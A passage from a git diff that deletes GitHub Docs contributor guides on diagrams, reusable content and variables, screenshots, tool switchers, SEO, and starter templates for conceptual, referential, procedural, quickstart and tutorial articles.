Design System](https://primer.style/product/getting-started/foundations/color-usage). - -## Accessibility - -Diagrams must have proper contrast and alt text. - -If you use colors defined in the Primer Design System, your diagram should have proper contrast. To check contrast on other background colors, use the [Color Contrast Analyzer](https://www.tpgi.com/color-contrast-checker/). - -Write alt text for a diagram that describes what the diagram looks like and why it is included in the article. Do not try to explain everything the diagram conveys in the alt text since it could become too long to be useful. For more information on writing alt text, see [AUTOTITLE](/contributing/writing-for-github-docs/style-guide#alt-text). - -All information in diagrams must be also conveyed in text accompanying the diagrams. - -## Versioning - -Some diagrams apply to all {% data variables.product.prodname_dotcom %} plans ({% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, and {% data variables.product.prodname_ghe_server %}). In this case, there is no versioning required. - -When a diagram is only relevant to some plans or versions of {% data variables.product.prodname_ghe_server %}, the diagram must be versioned with Liquid conditional statements. You may need to add this versioning when the content is initially created, or you may need to add it when the content is updated for a feature update or {% data variables.product.prodname_ghe_server %} release. - -If a diagram is only relevant to some versions and apt to become quickly out of date, consider if an easier to maintain option might be better for communicating the necessary information. - -## Source control - -Diagrams are stored in the relevant directory in the `assets/images/help/` directory in the `docs` repository. If you are creating a new diagram, add it to the proper folder. If you are updating an existing diagram, replace the existing diagram with the updated version. - -When you create a new diagram, add it to the Diagrams project in the Docs Figma team or provide a copy of the Figma file to a member of the Docs team. If you create a diagram in another program, it can be included in {% data variables.product.prodname_docs %} if it meets the requirements and recommendations in this guide, but it is much more likely to be removed rather than updated if it becomes out of date. - -## Examples - -This diagram {% ifversion fpt or ghec %}from [AUTOTITLE](/codespaces/quickstart){% endif %} effectively uses rectangles within other rectangles to visually explain what parts of a codespace are contained in the cloud, and it uses arrows to show the relationship between a codespace hosted in the cloud and your local editor. - -![Diagram showing the relationship between a code editor and a codespace running on an Azure virtual machine.](/assets/images/help/codespaces/codespaces-diagram.png) diff --git a/content/contributing/writing-for-github-docs/creating-reusable-content.md b/content/contributing/writing-for-github-docs/creating-reusable-content.md deleted file mode 100644 index b623950cd3a6..000000000000 --- a/content/contributing/writing-for-github-docs/creating-reusable-content.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Creating reusable content -shortTitle: Create reusable content -intro: You can create reusable content that can be referenced in multiple content files. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About reusables - -Reusables are long strings of reusable text, such as paragraphs or procedural lists, that can be referenced in multiple content files. - -We use Markdown (instead of YAML) for reusables. Markdown makes it possible for our localization pipeline to split the strings into smaller translatable segments, leading to fewer translation errors and less churn when the source English content changes. - -Each reusable lives in its own Markdown file. - -The path and filename of each Markdown file determines what its path will be in the data object. For example, a file named `{% raw %}/data/reusables/foo/bar.md{% endraw %}` will be accessible as `{% raw %}{% data reusables.foo.bar %}{% endraw %}` in pages. - -Reusable files are divided generally into directories by task. For example, if you're creating a reusable string for articles about {% data variables.product.prodname_dotcom %} notifications, you'd add it in the directory `{% raw %}data/reusables/notifications/{% endraw %}`, in a file named `{% raw %}data/reusables/notifications/YOUR-REUSABLE-NAME.md{% endraw %}`. The content reference you'd add to the source would look like `{% raw %}{% data reusables.notifications.YOUR-REUSABLE-NAME %}{% endraw %}`. - -### Applying versioning to reusables - -Reusables can include Liquid conditionals to conditionally render content depending on the current version being viewed. <!-- For more information, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs). --> - -## About variables - -Variables are short strings of reusable text. - -We use YAML files for variables. - -The path, filename, and keys within each YAML file determine what its path will be in the data object. - -For example, this YAML file, `{% raw %}data/variables/foo/bar.yml{% endraw %}`, contains two variables: - -```yaml -# the YAML file can contain multiple short strings in one file -meaning_of_life: 42 - -# the strings can also be nested if needed -nested: - values: - too: Yes! -``` - -The values would be accessible as `{% raw %}{% data foo.bar.meaning_of_life %}{% endraw %}` and `{% raw %}{% data foo.bar.nested.values.too %}{% endraw %}`. diff --git a/content/contributing/writing-for-github-docs/creating-screenshots.md b/content/contributing/writing-for-github-docs/creating-screenshots.md deleted file mode 100644 index 2fafc7ccb7cb..000000000000 --- a/content/contributing/writing-for-github-docs/creating-screenshots.md +++ /dev/null @@ -1,224 +0,0 @@ ---- -title: Creating screenshots -shortTitle: Create screenshots -intro: 'You can help users locate elements of the user interface that are difficult to find by adding screenshots to {% data variables.product.prodname_docs %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About screenshots in {% data variables.product.prodname_docs %} - -There are positives and negatives to adding a screenshot. Screenshots make articles more visually scannable and make instructions easier to understand, especially for people who have difficulty reading. When supplied with alt text, screenshots help blind and low-vision users collaborate with sighted colleagues. - -On the other hand, screenshots privilege sighted users, add length and load time to articles, and increase the volume of content that needs to be maintained. When captured at different pixel dimensions and degrees of zoom than the reader is using, screenshots can be confusing. - -Therefore, we only add screenshots to {% data variables.product.prodname_docs %} when they meet our criteria for inclusion. - -## Criteria for including a screenshot - -Use a screenshot to complement text instructions when an element of the user interface (UI) is hard to find: - -* The element is small or visually subtle. -* The element is not immediately visible. For example, the element is contained in a dropdown menu. -* The interface has multiple competing choices that can cause confusion. - -Do not use screenshots for procedural steps where text alone is clear, or to show code commands or outputs. - -## Examples of the criteria for inclusion - -To help you determine whether to add a specific screenshot, consider the following examples of screenshots that do and do not meet our criteria for inclusion. - -### Screenshots that meet the criteria - -The following screenshots do meet our criteria for inclusion. - -#### The UI element is small or visually subtle - -The edit button for a repository's social media preview image is small and visually unobtrusive. It may be hard to find among the other repository settings. - -![Screenshot of an article showing text instructions and a UI screenshot for editing a social media image on a GitHub repository.](/assets/images/contributing/screenshot-yes-social-preview.png) - -The screenshot also gives a visual reference for the aspect ratio required. - -#### The UI element is not immediately visible - -Options to clone a gist are contained under a dropdown menu labeled "Embed." - -![Screenshot of an article showing instructions and a UI screenshot for cloning a gist on GitHub.](/assets/images/contributing/screenshot-yes-clone-gist.png) - -The screenshot is helpful to locate the correct option in the menu, which is not visible until the dropdown is opened. - -#### The interface has multiple choices that can cause confusion - -There are three elements that could be interpreted as "settings" on the main page for a repository: the "Settings" tab, the gear icon in the "About" section of the right sidebar, and the account settings accessed via the profile picture. - -![Screenshot of an article showing instructions and a UI screenshot for locating the Settings page in a GitHub repository.](/assets/images/contributing/screenshot-yes-repository-settings.png) - -The screenshot is helpful to find the correct option. - -### Screenshots that do not meet the criteria - -The following screenshots do not meet our criteria for inclusion. - -#### The UI element is easy to find - -The "Create repository" button is visually prominent through size, color, and placement. There are few competing choices. - -![Screenshot of an article showing instructions and a UI screenshot for the final step in creating a new repository on {% data variables.product.prodname_dotcom %}.](/assets/images/contributing/screenshot-no-create-repository.png) - -Text instructions are adequate to help the user complete the step. - -#### The UI has few, straightforward choices - -Simple and straightforward options, such as selecting or deselecting a checkbox, do not need a visual support. - -![Screenshot of an article showing instructions and a UI screenshot for requiring contributors to sign off on web-based commits.](/assets/images/contributing/screenshot-no-require-signoff.png) - -Text instructions are adequate to help the user complete the step. - -There are also two accessibility implications of including the full sentence of text below the checkbox in the screenshot: - -* The sentence is hard to read for low-sighted users, because it's small and not as crisp as HTML text. -* A person using a screen reader won't have access to the information, because it will not fit within alt text character limits. Including the text in the instructions would remedy this, but would be unnecessarily wordy. - -## Requirements for screenshots - -In addition to the criteria for inclusion, screenshots must meet the following requirements. - -### Technical specifications - -* PNG file format -* Static images only (no GIFs) -* 144 dpi -* 750–1000 pixels wide for full-column images -* File size of 250 KB or less -* Descriptive file names, such as `gist-embed-link.png` instead of `right_side_page_03.png` -* Images captured on macOS must be retina images - * In Snagit, select **Snagit** > **Preferences** > **Advanced** and deselect "Scale down retina images when sharing" - -### Accessibility - -To meet the needs of more users, screenshots must: - -* Be accompanied by complete instructions in the procedural step, with no information conveyed entirely in visual form. -* Be full contrast, as in the interface itself, with nothing obscured or reduced in opacity or color contrast. -* Have alt text that describes the content of the image and the appearance of its highlighting, if any. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#alt-text). -* Be clear and crisp, with text and UI elements as legible as possible. - -### Visual style - -* Show a UI element with just enough surrounding context to help people know where to find the element on their screen. -* Reduce negative space by resizing your browser window until optimal. -* Show interfaces in light theme wherever possible. - * For {% data variables.product.prodname_dotcom %}, select "Light default" in your appearance settings. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings). - * For VSCode, select "GitHub light default" in the free [GitHub Theme](https://marketplace.visualstudio.com/items?itemName=GitHub.github-vscode-theme) extension. - * If the software you need to screenshot is available in dark mode only, it's fine to use dark mode. -* If your username and avatar appear, replace them with @octocat's username and [avatar](https://avatars.githubusercontent.com/u/583231?v=4). Use the developer tools in your browser to replace your username with `@octocat` and to replace the URL of your avatar with `https://avatars.githubusercontent.com/u/583231?v=4`. -* Do not include a cursor. - -#### Visual style for dropdown menus - -If the primary goal in showing a dropdown menu is to help the reader locate the menu itself, show the menu closed. - -![Screenshot of an article showing instructions and a UI screenshot for selecting a folder as the publishing source for {% data variables.product.prodname_pages %}.](/assets/images/contributing/screenshot-yes-pages-menu.png) - -If the primary goal in showing a dropdown menu is to help the reader distinguish among options within the menu, show the menu open. Capture open menus without focus (cursor or hover state). Showing menu items with a white background ensures contrast with the dark orange outline, where present. - -![Screenshot of an article showing instructions and a UI screenshot for locating the "Settings" menu item in the GitHub user account menu.](/assets/images/contributing/screenshot-yes-account-menu.png) - -## Highlighting elements in screenshots - -To highlight a specific UI element in a screenshot, use our special theme for [Snagit](https://www.techsmith.com/screen-capture.html) to apply a contrasting stroke around the element. - -The stroke is the color `fg.severe` in the [Primer Design System](https://primer.style/design/) (HEX #BC4C00 or RGB 188, 76, 0). This dark orange has good color contrast on both white and black. To check contrast on other background colors, use the [Color Contrast Analyzer](https://www.tpgi.com/color-contrast-checker/). - -![Screenshot of four options menus on a GitHub repository. The menu labeled "Fork" shows a fork count of 58.5k and is outlined in dark orange.](/assets/images/contributing/repository-fork-button.png) - -### Importing the {% data variables.product.prodname_docs %} theme into Snagit - -1. To download the Snagit theme, navigate to [`snagit-theme-github-docs.snagtheme`](https://github.com/github/docs/blob/main/contributing/images/snagit-theme-github-docs.snagtheme) in the `github/docs` repository, then click {% octicon "download" aria-label="Download raw content" %}. - - ![Screenshot of the file view for "snagit-theme-github-docs.snagtheme." In the header of the file, a button with a download icon is outlined in orange.](/assets/images/contributing/download-snagit-theme.png) -1. Open Snagit, then select the **Shape** tool. -1. Under "Quick styles," select **Import**. -1. Select the Snagit theme from your computer's files. This will install the shape preset. -1. Optionally, to add the theme to your favorites, star the dark orange rectangle. - -### Adding a highlight to a screenshot - -1. Open a screenshot in Snagit. -1. To set pixel depth (resolution) and pixel width, below the image canvas, open the "Resize image" dialog. - - * Pixel depth: 144dpi (equivalent to "2x" on Snagit for Mac) - * Pixel width: 1000 pixels maximum - - > [!NOTE] - > On Windows, you may need to select **Advanced** to change the resolution. Ensure **Use resampling** is disabled. - -1. With the {% data variables.product.prodname_docs %} theme open in the Shapes sidebar, select the dark orange rectangle. -1. Drag and drop across the image to create a rectangle. -1. Adjust the rectangle's height and width by dragging edges. Do not adjust the corner rounding, which should remain 4 px. Adjust the space between the UI element and the stroke so it's about the width of the stroke itself. -1. Export image to PNG. - -> [!NOTE] -> A bug in Snagit may corrupt the corner rounding, causing rectangles to become ovals. If this occurs, delete and reinstall the {% data variables.product.prodname_docs %} theme (Windows and Mac), or click and drag the yellow dot at the top right of the shape to reset corner rounding to 4 px (Mac only). - -## Replacing screenshots - -When replacing an existing image, best practice is to retain the image's filename. - -If you must change an image filename, search the repository for other references to that image and update all references to the original filename. - -If the image is used in documentation for versions of {% data variables.product.prodname_ghe_server %} that are {% data variables.release-phases.closing_down %}, don't change the filename. - -## Versioning images in Markdown content - -Some images apply to all {% data variables.product.prodname_dotcom %} plans ({% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, and {% data variables.product.prodname_ghe_server %}). In this case, there is no versioning required. - -When an image does differ from plan to plan, or changes in a newer release of {% data variables.product.prodname_ghe_server %}, the image need to be versioned with Liquid conditional statements. You may need to add this versioning when the content is initially created, or you may need to add it when the content is updated for a feature update or {% data variables.product.prodname_ghe_server %} release. - -### Image locations - -Images are located in the `/assets/images` directory. This directory has some sub-directories that can be used to organize content by plan and release number. - -Directory | Usage ---------- | ------ -`/assets/images` | Images that are not specific to any {% data variables.product.prodname_enterprise %} product. -`/assets/images/enterprise/enterprise-server` | Images that are applicable to all releases of {% data variables.product.prodname_ghe_server %} (GHES), or are applicable to the current release and future releases. -`/assets/images/enterprise/<release number>`, such as `/assets/images/enterprise/3.0/` | When an image is changed in a new GHES release, add the new image to the original location, and move the old image to the directory corresponding to the latest release that the image applies to. - -### Example: An image differs between plans - -When there are differences between plans, you can use Liquid conditionals to version the two images. - -```markdown -{% raw %} -{% ifversion fpt or ghec %} -![An image of foo bar for GitHub Free, GitHub Pro, GitHub Team, and GitHub Enterprise Cloud](/assets/images/foo/bar.png) -{% else %} -![An image of foo bar for GHES](/assets/images/enterprise/foo/bar.png) -{% endif %}{% endraw %} -``` - -### Example: An image is updated in a new {% data variables.product.prodname_ghe_server %} release - -If an image will change for {% data variables.product.prodname_ghe_server %} 3.10, and the updated image will be used for all future versions of {% data variables.product.prodname_ghe_server %}, move the existing image to `/assets/images/enterprise/3.10`, then add the new image to the original location, `/assets/images/enterprise/foo/bar.png`. - -Your Liquid conditional would look like this: - -```markdown -{% raw %} -{% ifversion fpt or ghec %} -![An image of foo bar](/assets/images/foo/bar.png) -{% elsif ghes < 3.10 %} -![An image of foo bar for GHES 3.9 and lower](/assets/images/enterprise/3.5/foo/bar.png) -{% else %} -![An image of foo bar for GHES 3.10+](/assets/images/enterprise/foo/bar.png) -{% endif %}{% endraw %} -``` - -When the 3.10 release is {% data variables.release-phases.closing_down %}, the `/assets/images/enterprise/3.10` directory will be removed. - -The numbered release directory should contain images that apply to that release number only or to that release number and earlier. For example, images in `/assets/images/enterprise/2.22` should contain images that apply to 2.22 only or 2.22 and earlier. diff --git a/content/contributing/writing-for-github-docs/creating-tool-switchers-in-articles.md b/content/contributing/writing-for-github-docs/creating-tool-switchers-in-articles.md deleted file mode 100644 index 83193f80f2b7..000000000000 --- a/content/contributing/writing-for-github-docs/creating-tool-switchers-in-articles.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Creating tool switchers in articles -shortTitle: Create tool switchers -intro: You can use a tool switcher to show how to complete tasks using specific tools. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /contributing/syntax-and-versioning-for-github-docs/creating-tool-switchers-in-articles ---- - -## About tool switchers - -In some articles, we write content tailored to different tools (the {% data variables.product.prodname_dotcom %} UI, {% data variables.product.prodname_cli %}, {% data variables.product.prodname_desktop %}, cURL, {% data variables.product.prodname_codespaces %}, {% data variables.product.prodname_vscode_shortname %}, GraphQL API, etc.) The tool switcher lets people select a tool to see only the content that is relevant to that tool since tools may have different conceptual or procedural information. - -![Screenshot of tool switchers in an article. The tool switchers are indicated with a dark orange outline.](/assets/images/contributing/tool-switchers.png) - -People can use the tool switcher in two ways when reading the docs. - -* **Exploring** - For tasks that can be completed with different tools, the tool switcher signals to people that there are multiple ways a task can be done. For example, using the {% data variables.product.prodname_cli %} or {% data variables.product.prodname_desktop %}, instead of the {% data variables.product.prodname_dotcom %} UI. - -* **Getting to the point** - When someone knows how they want to do a task and doesn’t need to see additional options, the tool switcher removes less relevant content, so they can find exactly what they need. - -## Using tool tags - -You can add tool switchers to an article by using tool tags in the Markdown. Tool tags are Liquid tags that wrap content that you want to show in a specific tool switcher tab. - -For example, the following code block shows content for three different tools. - -```markdown -{% raw %}{% vscode %} -This content is specific to {% endraw %}{% data variables.product.prodname_vscode %}{% raw %}. -{% endvscode %} - -{% visualstudio %} -This content is specific to {% endraw %}{% data variables.product.prodname_vs %}{% raw %}. -{% endvisualstudio %} - -{% jetbrains %} -This content is specific to JetBrains IDEs. -{% endjetbrains %}{% endraw %} -``` - -By default, the first tool tag used in the Markdown will be selected for an article. You can define a different default tool for an article by specifying a `defaultTool:` property in the article's frontmatter. For more information, see the [content README](https://github.com/github/docs/blob/main/content/README.md#defaulttool). - -You can also link to an article with a specific tool selected by adding `?tool=TOOLNAME` to the end of the link. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#links-to-a-specific-tool). - -Only include a maximum of eight different tools in an article. Including more tools causes the tool switcher tabs to overflow with an article's table of contents, which prevents people from using either the tool switcher or table of contents. It is unlikely that you will ever need to include eight separate tools in an article. In general, plan to use as few separate tools as possible in an article. - -### When to use tool tags - -We only use tool tags if an article must have tool-specific information to help people accomplish their tasks. - -Do not use the tool switcher just to show examples in different languages. Only use the tool switcher if the tasks or concepts described in an article change based on what tool someone uses. - -## Adding new tools - -{% data variables.product.prodname_docs %} documents and maintains tool tags for {% data variables.product.prodname_dotcom %} products, {% data variables.product.prodname_dotcom %}-developed tools, and select third-party extensions developed in collaboration with {% data variables.product.company_short %} . - -New tools are only added when they are the only way to accurately document something for a specific user need. If a writer determines that adding a new tool is the only way to accurately document something, they need to propose the new tool in a content design plan. Whoever reviews the content design plan should consider any alternative ways to address the documentation needs without adding a new tool. If a new tool is the only way to create accurate documentation, the new tool should be added. If there is an alternative content solution that does not add a new tool, that option should be used. - -To add a new tool, add an entry to the `allTools` object in the [`lib/all-tools.js`](https://github.com/github/docs/blob/main/src/tools/lib/all-tools.js) file as a key-value pair. The key is the tag you use to refer to the tool in the article and the value is how the tool will be identified on the tool picker at the top of the article. For example, `vscode: 'Visual Studio Code'`. - -Add new tools in alphabetical order. diff --git a/content/contributing/writing-for-github-docs/index.md b/content/contributing/writing-for-github-docs/index.md deleted file mode 100644 index 235a8f8cc97f..000000000000 --- a/content/contributing/writing-for-github-docs/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Writing for GitHub Docs -shortTitle: Writing for GitHub Docs -intro: 'Learn about writing for {% data variables.product.prodname_docs %}.' -versions: - feature: 'contributing' -children: - - /best-practices-for-github-docs - - /about-githubs-documentation-philosophy - - /about-githubs-documentation-fundamentals - - /content-design-principles - - /writing-content-to-be-translated - - /making-content-findable-in-search - - /versioning-documentation - - /using-markdown-and-liquid-in-github-docs - - /using-yaml-frontmatter - - /using-videos-in-github-docs - - /creating-reusable-content - - /creating-screenshots - - /creating-diagrams-for-github-docs - - /creating-tool-switchers-in-articles - - /configuring-redirects - - /changing-an-articles-title - - /annotating-code-examples - - /templates -redirect_from: - - /contributing/syntax-and-versioning-for-github-docs ---- diff --git a/content/contributing/writing-for-github-docs/making-content-findable-in-search.md b/content/contributing/writing-for-github-docs/making-content-findable-in-search.md deleted file mode 100644 index 7b6932262c39..000000000000 --- a/content/contributing/writing-for-github-docs/making-content-findable-in-search.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Making content findable in search -shortTitle: Make content findable -intro: 'Follow these SEO best practices to help users find {% data variables.product.company_short %} documentation using search engines.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About search engine optimization (SEO) - -Search engine optimization (SEO) is the practice of earning visibility for web content in search engine results, such as those of Google and Bing. Google search is the top referrer to {% data variables.product.prodname_docs %} and the most common entry point for our users. - -We can plan and write our content to improve SEO. Better SEO improves the experience of people searching for documentation because it makes it more likely for them to find the information they seek using their preferred search terms. - -## Best practices for content SEO - -Good SEO requires planning content for specific audiences and being attentive to the words they use to search. Follow these best practices to improve an article's SEO. - -### Select a target audience - -Understand and write to the specific audience for the content: developers, administrators, or code learners. This helps you to: - -* Use words that your readers use. -* Make content relevant to their needs and tasks. -* Provide the right amount of context and background information. - -### Respond to search intent - -Craft content around **search intent**: the task, question, or problem that drives a member of the target audience to search for information online. - -* Conduct search intent research. For example, analyze search engine results pages (SERPs) for relevant queries. -* Understand user needs. Use multiple sources such as customer feedback, user interviews, and metrics. - -### Use clear language - -Follow guidance in [AUTOTITLE](/contributing/writing-for-github-docs/best-practices-for-github-docs), including: - -* Ensure every article has a clear, discrete topic. -* Put higher priority content first in an article. -* Structure articles with clear headings. -* Edit content for consistency following the [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide). - -### Incorporate keywords - -Incorporate keywords, or top search terms used by your audience, into page copy and metadata. For example, if you are writing about "billing" but your audience primarily uses "cost" and "payment," use those terms instead. - -Google and Bing both offer keyword research tools to help you discover relevant keywords. The Docs team also consults Google Search Console data to understand what search terms lead to pages on {% data variables.product.prodname_docs %}. - -### Include metadata - -Use complete metadata in the frontmatter. To see the values available, see [AUTOTITLE](/contributing/writing-for-github-docs/using-yaml-frontmatter). - -On {% data variables.product.prodname_docs %}, the `intro` element displays as an on-page subhead and serves as the HTML metadata description. The article title serves as the HTML page title. For good SEO: - -* Write the title and `intro` to be complementary and keyword-rich. Consider how they will render in research. -* Accompany all images with keyword-rich alt text, which is also metadata used by search engines. See [Alt text](/contributing/style-guide-and-content-model/style-guide#alt-text) in the {% data variables.product.prodname_docs %} Style Guide. - -### Link strategically - -Link frugally to other task-relevant pages on {% data variables.product.prodname_docs %} and high-quality peer sites, following [Links](/contributing/style-guide-and-content-model/style-guide#links) in the {% data variables.product.prodname_docs %} Style Guide. - -Ensure that incoming links do not break by carefully maintaining redirects. - -### Maintain accuracy - -Ensure content is free of errors in fact, spelling, and style. Audit content periodically to remove errors such as broken links and to retire unneeded content. See [AUTOTITLE](/contributing/writing-for-github-docs/configuring-redirects). diff --git a/content/contributing/writing-for-github-docs/templates.md b/content/contributing/writing-for-github-docs/templates.md deleted file mode 100644 index e8d81b666369..000000000000 --- a/content/contributing/writing-for-github-docs/templates.md +++ /dev/null @@ -1,405 +0,0 @@ ---- -title: Templates -intro: 'This article contains starter templates for the different content types used in {% data variables.product.prodname_docs %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## Conceptual article template - -Use the content model for full instructions and examples on how to write conceptual content. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/conceptual-content-type). - -<!-- markdownlint-disable search-replace --> - -```yaml -{% raw %}--- -title: 'About <subject>' -shortTitle: '<subject>' -intro: 'Article intro. See tips for a great intro below.' -product: "optional product callout" -type: overview -topics: - - topic -versions: - - version ---- - -{% comment %} -- Follow the guidelines in https://docs.github.com/contributing/writing-for-github-docs/content-model#conceptual to write this article. -- Great intros give readers a quick understanding of what's in the article, so they can tell whether it's relevant to them before moving ahead. For more tips, see https://docs.github.com/contributing/writing-for-github-docs/content-model -- For product callout info, see https://github.com/github/docs/tree/main/content#product -- For product version instructions, see https://github.com/github/docs/tree/main/content#versioning -- Remove these comments from your article file when you're done writing. -{% endcomment %} - -## A section here - -{% comment %} -Write one or two paragraphs about the main idea of your topic, as a summary. -Make sure you don't have any content that isn't preceded by a header, or it won't be linkable in our table of contents. -{% endcomment %} - -## Another section here - -{% comment %} -Write one or two paragraphs about another element of your topic. -Keep adding headers and sections until you've completed your article. -{% endcomment %} - -## Further reading - -{% comment %} -Optionally, include a bulleted list of related articles the user can reference to extend the concepts covered in this article. Consider linking to procedural articles or tutorials that help the user use the information in your article. -{% endcomment %} - -- [Article title](article-URL){% endraw %} -``` - -<!-- markdownlint-enable search-replace --> - -## Referential article template - -Use the content model for full instructions and examples on how to write referential content. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/referential-content-type). - -<!-- markdownlint-disable search-replace --> - -```yaml -{% raw %}--- -title: Nouns describing your subject -shortTitle: <subject> # Max 31 characters -intro: 'Article intro. See tips for a great intro below.' -product: "{{ optional product callout }}" -type: reference -topics: - - <topic> # One or more from list of allowed topics: https://github.com/github/docs/blob/main/data/allowed-topics.js -versions: - - <version> ---- - -{% comment %} -Follow the guidelines in https://docs.github.com/contributing/writing-for-github-docs/content-model#referential to write this article.-- > -Great intros give readers a quick understanding of what's in the article, so they can tell whether it's relevant to them before moving ahead. For more tips, see https://docs.github.com/contributing/writing-for-github-docs/content-model -For product callout info, see https://github.com/github/docs/tree/main/content#product -For product version instructions, see https://github.com/github/docs/tree/main/content#versioning -Remove these comments from your article file when you're done writing -{% endcomment %} - -## A section here - -{% comment %} -Write one or two paragraphs about the main idea of your topic, as a summary. -Make sure you don't have any content that isn't preceded by a header, or it won't be linkable in our table of contents. -{% endcomment %} - -## Another section here - -{% comment %} -Write one or two paragraphs about another element of your topic. -Keep adding headers and sections until you've completed your article. -{% endcomment %} - -## Further reading - -{% comment %} -Optionally, include a bulleted list of related articles the user can reference to extend the concepts covered in this article. Consider linking to procedural articles or tutorials that help the user use the information in your article. -{% endcomment %} - -- [Article title](article-URL){% endraw %} -``` - -<!-- markdownlint-enable search-replace --> - -## Procedural article template - -Use the content model for full instructions and examples on how to write procedural content. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/procedural-content-type). - -<!-- markdownlint-disable search-replace --> - -```yaml -{% raw %}--- -title: Start with a present participle -shortTitle: <subject> # Max 31 characters -intro: 'Article intro. See tips for a great intro below.' -product: "{{ optional product callout }}" -type: how_to -topics: - - <topic> # One or more from list of allowed topics: https://github.com/github/docs/blob/main/data/allowed-topics.js -versions: - - <version> ---- - -{% comment %} -Follow the guidelines in https://docs.github.com/contributing/writing-for-github-docs/content-model#procedural to write this article.-- > -Great intros give readers a quick understanding of what's in the article, so they can tell whether it's relevant to them before moving ahead. For more tips, see https://docs.github.com/contributing/writing-for-github-docs/content-model -For product callout info, see https://github.com/github/docs/tree/main/content#product -For product version instructions, see https://github.com/github/docs/tree/main/content#versioning -Remove these comments from your article file when you're done writing -{% endcomment %} - -## Procedural section header here - -{% comment %} -Include prerequisite information or specific permissions information here. -Then write procedural steps following the instructions in https://docs.github.com/contributing/style-guide-and-content-model/style-guide#procedural-steps. -Check if there's already a reusable string for the step you want to write in https://github.com/github/docs/tree/main/data/reusables. Look at the source file for a procedure located in the same area of the user interface to find reusables. -{% endcomment %} - -## Optionally, another procedural section here - -{% comment %} -Keep adding procedures until you've finished writing your article. -{% endcomment %} - -## Further reading - -{% comment %} -Optionally, include a bulleted list of related articles the user can reference to extend the concepts covered in this article. Consider linking to procedural articles or tutorials that help the user use the information in your article. -{% endcomment %} - -- [Article title](article-URL){% endraw %} -``` - -<!-- markdownlint-enable search-replace --> - -## Quickstart article template - -Use the content model for full instructions and examples on how to write quickstarts. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/quickstart-content-type). - -<!-- markdownlint-disable search-replace --> - -```yaml -{% raw %}--- -title: Quickstart title -shortTitle: <subject> # Max 31 characters -intro: 'Article intro. Highlight that the guide is quick and to the point.' -type: quick_start -topics: - - <topic> # One or more from list of allowed topics: https://github.com/github/docs/blob/main/data/allowed-topics.js -versions: - - <version> ---- - -{% comment %} -Follow the guidelines in https://docs.github.com/contributing/writing-for-github-docs/content-model#quickstart to write this article. -For product version instructions, see https://github.com/github/docs/tree/main/content#versions. -The entire quickstart should be about 600 words long or take about five minutes to read. -Remove these comments from your article file when you're done writing -{% endcomment %} - -## Introduction - -{% comment %} -Build on the quick phrasing above by -- Clarifying the audience -- Clearly stating prerequisites and prior knowledge needed -- Stating what the user will accomplish or build -{% endcomment %} - -## Step one: Action the user will take - -{% comment %} -In one sentence, describe what the user will do in this step -Steps should break down the tasks the user will complete in sequential order -Avoid replicating conceptual information that is covered elsewhere, provide inline links instead. Only include conceptual information unique to this use case. -{% endcomment %} - -### Task chunk - -{% comment %} -A step may require the user to perform several tasks - break those tasks down into chunks, allowing the user to scan quickly to find their place if they navigated away from this screen to perform the task. -An example might be creating a {% endraw %}{% data variables.product.pat_generic %}{% raw %} for the action to use and then storing it in secrets -For UI based tasks, include the button or options the users should click -If the task adds code, include the code in context (don't just show `needs setup` show the entire `setup` and `dependent` jobs) -{% endcomment %} - -### Another task chunk - -## Step 2: Do the next thing - -{% comment %} -Rinse and repeat, adding steps and tasks until the tutorial is complete -{% endcomment %} - -## Next steps - -{% comment %} -Provide a quick recap of what has been accomplished in the quick start as a means of transitioning to next steps. Include 2-3 actionable next steps that the user take after completing the quickstart. Always link to conceptual content on the feature or product. You can also link off to other related information on docs.github.com or in GitHub Skills. -{% endcomment %}{% endraw %} -``` - -<!-- markdownlint-enable search-replace --> - -## Tutorial article template - -Use the content model for full instructions and examples on how to write tutorials. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/tutorial-content-type). - -<!-- markdownlint-disable search-replace --> - -```yaml -{% raw %}--- -title: Tutorial title -shortTitle: <subject> # Max 31 characters -intro: 'Article intro. See tips for a great intro below' -product: "{{ optional product callout }}" -type: tutorial -topics: - - <topic> # One or more from list of allowed topics: https://github.com/github/docs/blob/main/data/allowed-topics.js -versions: - - <version> ---- - -{% comment %} -Follow the instructions in https://docs.github.com/contributing/writing-for-github-docs/content-model#quickstart to write this article. -Great intros clarify who the tutorial is intended for, state what the user will accomplish, and state the technologies that will be used. -For product callout info, see https://github.com/github/docs/tree/main/content#product -For product version instructions, see https://github.com/github/docs/tree/main/content#versioning -Remove these comments from your article file when you're done writing -{% endcomment %} - -## Introduction - -{% comment %} -The tutorial introduction should include the following in a short paragraph - - -- Clarify audience -- State prerequisites and prior knowledge needed -- State what the user will accomplish or build and the user problem it solves -- Link to an example of the project the user will complete -{% endcomment %} - -## Step 1: Action the user will take - -{% comment %} -In one sentence, describe what the user will do in this step -Steps should break down the tasks the user will complete in sequential order -Avoid replicating conceptual information that is covered elsewhere, provide inline links instead. Only include conceptual information unique to this use case. -{% endcomment %} - -### Task chunk - -{% comment %} -A step may require the user to perform several tasks - break those tasks down into chunks, allowing the user to scan quickly to find their place if they navigated away from this screen to perform the task. -An example might be creating a {% 